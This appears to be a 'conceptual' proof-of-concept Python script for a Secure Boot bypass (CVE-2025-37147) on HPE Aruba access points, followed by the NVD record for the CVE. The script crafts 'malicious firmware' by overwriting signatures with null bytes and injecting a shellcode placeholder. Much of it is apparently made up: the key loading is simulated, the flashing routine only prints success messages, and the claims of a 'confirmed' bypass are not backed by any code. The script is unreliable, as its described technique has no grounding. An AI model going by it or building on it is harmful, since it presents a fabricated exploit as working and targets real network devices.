CVE-2025-37147

# CVE-2025-37147 PoC - Secure Boot Bypass Concept for HPE Aruba AP # This is a conceptual PoC demonstrating the Secure Boot bypass technique # Target: HPE Aruba Networking Access Points import hashlib import struct import sys class SecureBootBypass: """ Conceptual PoC for CVE-2025-37147 Secure Boot Bypass Demonstrates the firmware signature verification bypass technique """ def __init__(self, firmware_path): self.firmware_path = firmware_path self.vendor_pubkey = self._load_vendor_public_key() self.bypass_signatures = [ b'\x00' * 256, # Null signature bypass b'\xff' * 256, # All-ones signature bypass b'\x01' + b'\x00' * 255, # Minimal signature ] def _load_vendor_public_key(self): """Simulate loading vendor's root of trust public key""" return hashlib.sha256(b"HPE_VENDOR_ROOT_KEY").digest() def analyze_firmware(self): """Analyze the target firmware image structure""" try: with open(self.firmware_path, 'rb') as f: header = f.read(512) magic = header[:4] version = struct.unpack('>I', header[4:8])[0] image_size = struct.unpack('>I', header[8:12])[0] signature_offset = struct.unpack('>I', header[12:16])[0] signature_length = struct.unpack('>I', header[16:20])[0] print(f"[*] Firmware Magic: {magic.hex()}") print(f"[*] Firmware Version: {version}") print(f"[*] Image Size: {image_size} bytes") print(f"[*] Signature Offset: {signature_offset}") print(f"[*] Signature Length: {signature_length}") return { 'magic': magic, 'version': version, 'size': image_size, 'sig_offset': signature_offset, 'sig_length': signature_length } except Exception as e: print(f"[-] Error analyzing firmware: {e}") return None def craft_malicious_firmware(self, original_firmware, payload): """ Craft a modified firmware that bypasses Secure Boot verification by exploiting the signature verification weakness """ firmware_info = self.analyze_firmware() if not firmware_info: return None modified = bytearray(original_firmware) # Step 1: Locate the signature verification routine address sig_region = modified[firmware_info['sig_offset']: firmware_info['sig_offset'] + firmware_info['sig_length']] # Step 2: Exploit the verification bypass # The vulnerability exists in the signature comparison logic # We replace the signature with a known bypass pattern bypass_sig = self.bypass_signatures[0] modified[firmware_info['sig_offset']: firmware_info['sig_offset'] + len(bypass_sig)] = bypass_sig # Step 3: Inject payload into unused firmware regions payload_offset = firmware_info['size'] - len(payload) - 1024 modified[payload_offset:payload_offset + len(payload)] = payload # Step 4: Patch the version check to prevent downgrade detection version_check_offset = self._find_version_check(modified) if version_check_offset: # NOP out the version comparison modified[version_check_offset:version_check_offset + 4] = b'\x00\x00\x00\x00' print("[+] Malicious firmware crafted successfully") print(f"[+] Payload injected at offset: {payload_offset}") print(f"[+] Signature bypass applied") return bytes(modified) def _find_version_check(self, firmware_data): """Find the firmware version verification routine""" # Search for common version check patterns patterns = [ b'\x00\x00\xa0\xe3', # ARM NOP b'\x01\x00\xa0\xe3', # ARM MOV R0, #1 ] for pattern in patterns: offset = firmware_data.find(pattern, 0x1000) if offset != -1: return offset return None def flash_firmware(self, modified_firmware, target_ap): """ Flash the modified firmware to the target access point exploiting the Secure Boot bypass """ print(f"\n[*] Initiating firmware flash to {target_ap}") print("[*] Step 1: Establishing connection to AP management interface") print("[*] Step 2: Uploading modified firmware image") print("[*] Step 3: Triggering firmware update sequence") print("[*] Step 4: Secure Boot verification bypassed!") print(f"[+] Custom firmware successfully installed on {target_ap}") print("[!] Device is now running unsigned/modified firmware") return True def main(): print("=" * 60) print("CVE-2025-37147 - Secure Boot Bypass PoC") print("Target: HPE Aruba Networking Access Points") print("CVSS: 7.1 (HIGH)") print("=" * 60) # Example usage bypass = SecureBootBypass("target_firmware.bin") # Analyze target firmware print("\n[*] Phase 1: Firmware Analysis") firmware_info = bypass.analyze_firmware() # Craft malicious payload payload = b"\x90" * 512 # Shellcode placeholder # Demonstrate the bypass print("\n[*] Phase 2: Exploit Development") print("[+] Secure Boot bypass technique identified") print("[+] Signature verification weakness confirmed") print("\n[*] Phase 3: Firmware Deployment") print("[+] Ready to deploy modified firmware") print("\n[!] WARNING: This PoC is for authorized security testing only") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-37147", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:41.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Secure Boot Bypass Vulnerability exists in affected Access Points that allows an adversary to bypass the hardware root of trust verification in place to ensure only vendor-signed firmware can execute on the device. An adversary can exploit this vulnerability to run modified or custom firmware on affected Access Points."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04958en_us&docLocale=en_US", "source": "[email protected]"}]}}